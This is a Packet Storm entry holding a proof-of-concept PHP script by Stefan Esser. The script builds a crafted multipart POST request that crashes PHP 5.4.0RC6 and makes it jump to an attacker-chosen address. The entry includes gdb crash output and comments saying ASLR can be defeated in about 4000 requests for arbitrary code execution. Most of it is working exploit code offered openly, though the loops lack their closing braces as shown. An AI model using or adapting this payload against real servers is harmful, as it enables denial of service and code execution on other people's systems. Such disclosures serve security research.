PHP 5.4.0RC6 Denial Of Service

Type packetstorm
Reporter Stefan Esser
Modified 2012-02-05T00:00:00


/* This script generates a POST header that makes PHP 5.4.0RC6 *64 bit* try to execute code at 0x1111111111111111  
(C) Copyright 2012 Stefan Esser  
PHP 5.3.9 requires you to know the address of a writable address filled with NULL.  
32bit requires you to create a fake 32bit Hashtable instead of a 64bit one  
Because this vulnerability also allows leaking memory addresses ASLR can be "semi"-defeated. This means around 4000  
tries = 4000 requests = 4000 crashes are enough to bruteforce code addresses to execute arbitrary code despite ASLR/NX  
better exploit might be possible after deeper research + heap massage  
This specific attack only works if there is no Suhosin-Patch -> RHEL, CentOS  
(gdb) c  
Program received signal SIGSEGV, Segmentation fault.  
0x00007fd959ca5f9d in _zend_hash_index_update_or_next_insert (ht=0x7fd96480d508, h=0, pData=0x7fff75c47bd0, nDataSize=8, pDest=0x7fff75c47bc8, flag=1,  
__zend_filename=0x7fd95a061b68 "/home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.h", __zend_lineno=350)  
at /home/user/Downloads/php-5.4.0RC6/Zend/zend_hash.c:398  
398 ht->pDestructor(p->pData);  
(gdb) i r  
rax 0x7fd9583352a0 140571464389280  
rbx 0x0 0  
rcx 0x8 8  
rdx 0x111111111111111 76861433640456465  
rsi 0x7fd95a077b08 140571495070472  
rdi 0x7fd9583352a0 140571464389280  
rbp 0x7fff75c47ae0 0x7fff75c47ae0  
rsp 0x7fff75c47a80 0x7fff75c47a80  
r8 0x7fff75c47bc8 140735169199048  
r9 0x1 1  
r10 0x6238396661373430 7077469926293189680  
r11 0x7fd962f4c8e0 140571644840160  
r12 0x7fd966b91da8 140571708038568  
r13 0x0 0  
r14 0xffffffff00000001 -4294967295  
r15 0x7fd964b10538 140571673953592  
rip 0x7fd959ca5f9d 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>  
eflags 0x10206 [ PF IF RF ]  
cs 0x33 51  
ss 0x2b 43  
ds 0x0 0  
es 0x0 0  
fs 0x0 0  
gs 0x0 0  
(gdb) x/5i $rip  
=> 0x7fd959ca5f9d <_zend_hash_index_update_or_next_insert+477>: callq *%rdx  
0x7fd959ca5f9f <_zend_hash_index_update_or_next_insert+479>: cmpl $0x8,-0x3c(%rbp)  
0x7fd959ca5fa3 <_zend_hash_index_update_or_next_insert+483>: jne 0x7fd959ca6031 <_zend_hash_index_update_or_next_insert+625>  
0x7fd959ca5fa9 <_zend_hash_index_update_or_next_insert+489>: mov -0x18(%rbp),%rax  
0x7fd959ca5fad <_zend_hash_index_update_or_next_insert+493>: mov 0x10(%rax),%rax  
$boundary = md5(microtime());  
$varname = "xxx";  
$payload = "";  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'"'."\n\n";  
$payload .= chr(16);  
for ($i=1; $i<7*8; $i++) {  
$payload .= chr(0);  
for ($i=1; $i<8; $i++) {  
$payload .= "\x11";  
$payload .= chr(1);  
for ($i=16+48+1; $i<128; $i++) {  
$payload .= chr(0);  
$payload .= "\n";  
for ($i=0; $i<1000; $i++) {  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="aaa'.$i.'"'."\n\n";  
$payload .= "aaa\n";  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[]"'."\n\n";  
$payload .= "aaa\n";  
$payload .= "--$boundary\n";  
$payload .= 'Content-Disposition: form-data; name="'.$varname.'[0]"'."\n\n";  
$payload .= "aaa\n";  
$payload .= "--$boundary--\n";  
echo "POST /index.php HTTP/1.0\n";  
echo "Content-Type: multipart/form-data; boundary=$boundary\n";  
echo "Content-Length: ",strlen($payload),"\n";  
echo "\n";  
echo "$payload";